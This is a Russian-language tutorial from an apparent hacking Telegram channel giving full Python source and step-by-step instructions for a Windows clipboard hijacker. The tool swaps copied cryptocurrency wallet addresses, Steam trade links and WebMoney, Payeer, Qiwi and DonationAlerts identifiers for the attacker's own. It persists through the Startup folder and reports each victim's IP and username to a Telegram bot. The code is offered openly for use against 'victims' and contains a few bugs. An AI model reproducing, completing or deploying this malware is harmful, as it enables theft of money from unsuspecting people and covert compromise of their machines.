January 20, 2019

Пишем свой клиппер для подмены кошельков на PYTHON [BlackCoding]

https://t.me/darkside_team

Привет хацкеры, сегодня покажу как собрать свой клиппер для подмены кошельков.

Нам потребуется: Python версии 3,6+

Скачать можно ТУТ

Функции подмены:

 Подмена крипто-кошельков (Monero, BTC, BitcoinCash, LiteCoin, Ripple, Eth)
 Подмена Steam trade link
 Подмена WebMoney (WMZ, WMX, WMR, WMU)
 Подмена Q1w1 (+7, +3 и тд)
 Подмена Payeer
 Подмена DonationAlerts
 Подмена Qiwi.me

Функции клиппера:

 Автозагрузка
 Отстук в телеграм
 IP жертвы
 UserName жертвы
 Проверка первый ли запуск

Нам понадобятся следующие библиотеки:

win32clipboard
time
threading
os
sys
telebot
shutil
requests

Установить их можно командой pip install (в консоли CMD)

Приступим!

Для начала создадим своего бота у @BotFather

Далее идём в лс к своему боту и пишем: /start ну и test на всякий случай)

Потом идём к @id_chatbot и узнаём свой Chat ID

Дальше открываем IDE и начинаем кодить

Подключаем библиотеки:

Код:

import win32clipboard
import time
import threading
import os
import sys
import telebot
import shutil
import requests

Объявляем переменные:

Код:

token = "ТОКЕНОТБОТА"
bot = telebot.TeleBot(token)
username = os.getlogin()
start = ''

#----------EDITING----------
btc = 'your_btc'
eth = 'your_eth'
ripple = 'your_ripple'
btc_cash = 'your_btc_cash'
litecoin = 'your_litecoin'
monero ='your_monero'
steamlink = 'steam'
wmr = 'WebRu'
wmz = 'WebDol'
wmx = 'WebBit'
wmu = 'WebUa'
dona = 'donat'
payeer = 'your_Payeer'
qiwime = 'your_qiw1.me'
qiwi = 'your_number'
#----------EDITING----------

Код:

is_first = True

Проверяем первый ли это запуск

Код:

if os.path.isfile(os.getenv("APPDATA") + '\Microsoft\Windows\Start Menu\Programs\Startup' + '\ '[0] + os.path.basename(sys.argv[0])) is False:
    shutil.copy2(sys.argv[0], os.getenv("APPDATA") + '\Microsoft\Windows\Start Menu\Programs\Startup')
        else:
             is_first = False

Если в директории Startup нет нашего файл то запуск считается первым, и соответсвенно мы его туда добавляем.

Создаём функцию и цикл с названием clipper

Код:

def clipper():
    while True:

Код:

win32clipboard.OpenClipboard()
        if win32clipboard.EnumClipboardFormats(win32clipboard.CF_UNICODETEXT) != 0:
            clip_data = win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT)
Проверяем если у нас что-то в буфере обмены.

Далее будет много кода после кода объясню что он означает

Код:

if 25 <= len(clip_data) <= 34 and clip_data != btc and clip_data[0] == '1':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(btc, win32clipboard.CF_UNICODETEXT)
            elif len(clip_data) == 42 and clip_data != eth and clip_data[0:2] == '0x':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(eth, win32clipboard.CF_UNICODETEXT)
            elif 25 <= len(clip_data) <= 35 and clip_data != ripple and clip_data[0] == 'r':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(ripple, win32clipboard.CF_UNICODETEXT)
            elif len(clip_data[len(clip_data)-42:len(clip_data)]) == 42 and clip_data != btc_cash and clip_data[len(clip_data)-42:len(clip_data)-41] == 'q':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(clip_data[0:len(clip_data)-42] + btc_cash, win32clipboard.CF_UNICODETEXT)
            elif len(clip_data) == 34 and clip_data != litecoin and (clip_data[0] == 'L' or clip_data[0] == '3'):
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(litecoin, win32clipboard.CF_UNICODETEXT)
            elif 95 <= len(clip_data) <= 106 and clip_data != monero and clip_data[0] == '4':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(monero, win32clipboard.CF_UNICODETEXT)
            elif 75 <= len(clip_data) <=76 and clip_data !=steamlink and clip_data[0] == 'h' and clip_data[8] == 's' and clip_data[13] == 'c' and clip_data[27] == 't' and clip_data[36] == 'r':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(steamlink, win32clipboard.CF_UNICODETEXT)
            elif 74 <= len(clip_data) <=76 and clip_data !=steamlink and clip_data[0] == 'h' and clip_data[8] == 's' and clip_data[13] == 'c' and clip_data[27] == 't' and clip_data[36] == 'r':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(steamlink1, win32clipboard.CF_UNICODETEXT)
            elif 12<= len(clip_data) <= 13 and clip_data != wmr and clip_data[0] == 'R' or clip_data[0] == 'r':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(wmr, win32clipboard.CF_UNICODETEXT)
            elif 12<= len(clip_data) <= 13 and clip_data != wmz and clip_data[0] == 'Z' or clip_data[0] == 'z':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(wmz, win32clipboard.CF_UNICODETEXT)
            elif 12<= len(clip_data) <= 13 and clip_data != wmx and clip_data[0] == 'X' or clip_data[0] == 'x':
                win32clipboard.EmptyClipboard()
крипто-кошельки

Вообщем первая строка проверяет в буфере обмена кошелёк BTC, таким образом:

Если в буфере обмена есть от 25 до 34 (или равным 34) символом, при том что первый символ равен 1:

То выполнять подмены с вашим кошельком (постарался сделать так что-бы было вам понятней)

Следующие строки кода:

Если в буфере 42 символа и первые два символа равны 0x:

То выполнять подмены с вашим эфир кошельком

И так с остальными крипто-кошельками

Код:

elif 75 <= len(clip_data) <=76 and clip_data !=steamlink and clip_data[0] == 'h' and clip_data[8] == 's' and clip_data[13] == 'c' and clip_data[27] == 't' and clip_data[36] == 'r':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(steamlink, win32clipboard.CF_UNICODETEXT)
            elif 74 <= len(clip_data) <=76 and clip_data !=steamlink and clip_data[0] == 'h' and clip_data[8] == 's' and clip_data[13] == 'c' and clip_data[27] == 't' and clip_data[36] == 'r':
                win32clipboard.EmptyClipboard()
Строки выше проверяют наличие в буфере трейд ссылки стима и заменяют на вашу

Код:

elif 12<= len(clip_data) <= 13 and clip_data != wmr and clip_data[0] == 'R' or clip_data[0] == 'r':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(wmr, win32clipboard.CF_UNICODETEXT)
            elif 12<= len(clip_data) <= 13 and clip_data != wmz and clip_data[0] == 'Z' or clip_data[0] == 'z':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(wmz, win32clipboard.CF_UNICODETEXT)
            elif 12<= len(clip_data) <= 13 and clip_data != wmx and clip_data[0] == 'X' or clip_data[0] == 'x':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(wmu, win32clipboard.CF_UNICODETEXT)
            elif 12<= len(clip_data) <= 13 and clip_data != wmu and clip_data[0] == 'U' or clip_data[0] == 'u':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(wmu, win32clipboard.CF_UNICODETEXT)
Это проверяет наличие WebMoney кошелька, работает так:

Если в буфере от 12 до 13 символов и первые из них либо R Z X U:

То менять на ваши кошели

Код:

elif 37 <= len(clip_data) <= 50 and clip_data !=dona and clip_data[12] == 'd' and clip_data[13] == 'o' and clip_data[14] == 'n' and clip_data[20] == 'a' and clip_data[25] == 's':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(dona, win32clipboard.CF_UNICODETEXT)
Подмена DonationAlerts

Код:

elif 8 <= len(clip_data) <= 9 and clip_data != payeer and clip_data[0] == 'P' or clip_data[0] == 'p':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(payeer, win32clipboard.CF_UNICODETEXT)
Подмена Payeer

Код:

elif 10 <= len(clip_data) <= 36 and clip_data !=qiwime and clip_data[0] == 'h' and clip_data[8] == 'q' and clip_data[13] == 'm' and clip_data[14] == 'e':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(qiwime, win32clipboard.CF_UNICODETEXT)
Подмена qiwi.me

Так-с с подменами разобрались, теперь пишем вот так:

Код:

win32clipboard.CloseClipboard()
        time.sleep(0.25)

clipper = threading.Thread(target=clipper)
clipper.start()

Условно говоря это запуск нашего клиппера.

Код:

start += 'Is first start: ' + str(is_first) + '\n'
r = requests.get('http://ip.42.pl/raw')
ip = r.text

Первая строка кода выше: Проверка первый ли это запуск.

Вторая строка: Отправляет запрос на сайт http://ip.42.pl/raw и копирует ip жертвы

Третия строка: объявляет переменную ip с айпишником жертвы

Код: (НЕ ЗАБУДЬТЕ ВМЕСТО CHATID НАПИСАТЬ СВОЙ ID ЧАТА)

try:
 bot.send_message(CHATID, 'New User from: ' + ip + '\nUsername: ' + username + '\nStart: ' + start)
except:
 print('.')
Пробуем отправить сообщение в бота о новой жертве

Пример сообщения:

Теперь можно собрать скрипт в .exe при помощи pyinstaller (Сюда не буду писать, погуглите это не сложно или поищите в прошлых статьях)

Ниже весь код:

import win32clipboard
import time
import threading
import os
import sys
import telebot
import shutil
import requests


#-----------Telegram BOT-----------#
token = "ТОКЕН"
bot = telebot.TeleBot(token)
#-----------Telegram BOT-----------#


username = os.getlogin()
start = ''

#--------------EDITING--------------#
btc = 'testworking_btc'
eth = 'testworking_eth'
ripple = 'testworking_ripple'
btc_cash = 'testworking_btc_cash'
litecoin = 'testworking_litecoin'
monero = 'testworking_monero'
steamlink = 'steam'
wmr = 'WebRu'
wmz = 'WebDol'
wmx = 'WebBit'
wmu = 'WebUa'
dona = 'donat'
payeer = 'fakePayeer'
qiwime = 'qiwitest'
qiwi = 'number'
#--------------EDITING--------------#
is_first = True
if os.path.isfile(os.getenv("APPDATA") + '\Microsoft\Windows\Start Menu\Programs\Startup' + '\ '[0] + os.path.basename(sys.argv[0])) is False:
    shutil.copy2(sys.argv[0], os.getenv("APPDATA") + '\Microsoft\Windows\Start Menu\Programs\Startup')
else:
    is_first = False
  
def clipper():
    while True:
        win32clipboard.OpenClipboard()
        if win32clipboard.EnumClipboardFormats(win32clipboard.CF_UNICODETEXT) != 0:
            clip_data = win32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT)
            if 25 <= len(clip_data) <= 34 and clip_data != btc and clip_data[0] == '1':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(btc, win32clipboard.CF_UNICODETEXT)
            elif len(clip_data) == 42 and clip_data != eth and clip_data[0:2] == '0x':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(eth, win32clipboard.CF_UNICODETEXT)
            elif 25 <= len(clip_data) <= 35 and clip_data != ripple and clip_data[0] == 'r':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(ripple, win32clipboard.CF_UNICODETEXT)
            elif len(clip_data[len(clip_data)-42:len(clip_data)]) == 42 and clip_data != btc_cash and clip_data[len(clip_data)-42:len(clip_data)-41] == 'q':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(clip_data[0:len(clip_data)-42] + btc_cash, win32clipboard.CF_UNICODETEXT)
            elif len(clip_data) == 34 and clip_data != litecoin and (clip_data[0] == 'L' or clip_data[0] == '3'):
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(litecoin, win32clipboard.CF_UNICODETEXT)
            elif 95 <= len(clip_data) <= 106 and clip_data != monero and clip_data[0] == '4':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(monero, win32clipboard.CF_UNICODETEXT)
            elif 75 <= len(clip_data) <=76 and clip_data !=steamlink and clip_data[0] == 'h' and clip_data[8] == 's' and clip_data[13] == 'c' and clip_data[27] == 't' and clip_data[36] == 'r':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(steamlink, win32clipboard.CF_UNICODETEXT)
            elif 74 <= len(clip_data) <=76 and clip_data !=steamlink and clip_data[0] == 'h' and clip_data[8] == 's' and clip_data[13] == 'c' and clip_data[27] == 't' and clip_data[36] == 'r':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(steamlink1, win32clipboard.CF_UNICODETEXT)
            elif 12<= len(clip_data) <= 13 and clip_data != wmr and clip_data[0] == 'R' or clip_data[0] == 'r':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(wmr, win32clipboard.CF_UNICODETEXT)
            elif 12<= len(clip_data) <= 13 and clip_data != wmz and clip_data[0] == 'Z' or clip_data[0] == 'z':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(wmz, win32clipboard.CF_UNICODETEXT)
            elif 12<= len(clip_data) <= 13 and clip_data != wmx and clip_data[0] == 'X' or clip_data[0] == 'x':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(wmu, win32clipboard.CF_UNICODETEXT)
            elif 12<= len(clip_data) <= 13 and clip_data != wmu and clip_data[0] == 'U' or clip_data[0] == 'u':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(wmu, win32clipboard.CF_UNICODETEXT)
            elif 37 <= len(clip_data) <= 50 and clip_data !=dona and clip_data[12] == 'd' and clip_data[13] == 'o' and clip_data[14] == 'n' and clip_data[20] == 'a' and clip_data[25] == 's':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(dona, win32clipboard.CF_UNICODETEXT)
            elif 8 <= len(clip_data) <= 9 and clip_data != payeer and clip_data[0] == 'P' or clip_data[0] == 'p':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(payeer, win32clipboard.CF_UNICODETEXT)
            elif 10 <= len(clip_data) <= 36 and clip_data !=qiwime and clip_data[0] == 'h' and clip_data[8] == 'q' and clip_data[13] == 'm' and clip_data[14] == 'e':
                win32clipboard.EmptyClipboard()
                win32clipboard.SetClipboardText(qiwime, win32clipboard.CF_UNICODETEXT)
              
        win32clipboard.CloseClipboard()
        time.sleep(0.25)
      


clipper = threading.Thread(target=clipper)
clipper.start()


start += 'Is first start: ' + str(is_first) + '\n'
r = requests.get('http://ip.42.pl/raw')
ip = r.text

try:
 bot.send_message(CHATID, 'New User from: ' + ip + '\nUsername: ' + username + '\nStart: ' + start)
except:
 print('.')

Dark $ide - Твоя Тёмная Сторона

Если хочешь предложить свой контенет пиши в бота: @ds_offer_robot